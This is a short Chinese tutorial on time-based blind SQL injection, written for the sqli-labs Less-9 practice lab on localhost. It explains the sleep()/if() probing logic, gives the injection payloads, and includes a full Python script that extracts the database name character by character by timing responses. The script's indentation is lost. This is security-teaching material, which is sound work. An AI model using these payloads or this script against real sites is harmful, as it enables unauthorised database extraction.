时间盲注的原理
当我们使用任何查询语句,界面都没有回显或者回显都不变化时,就要通过sleep()函数来判断我们的查询是否正确,这个过程就叫做时间盲注。
sleep(3) 延时三秒后再进行SQL查询。
?id=1 and sleep(3)--+ //立即查询,说明and的前件是错误的
?id=' and sleep(3)--+ //延时三秒后查询,说明前件是正确的
判断出闭合形式为单引号'
核心语句:
id=1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)--+
if(条件表达式,值1,值2) 如果条件表达式为True,返回值1,为False,返回值2
时间盲注脚本:
import time
import requests
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
实例应用
sqli-labs第九题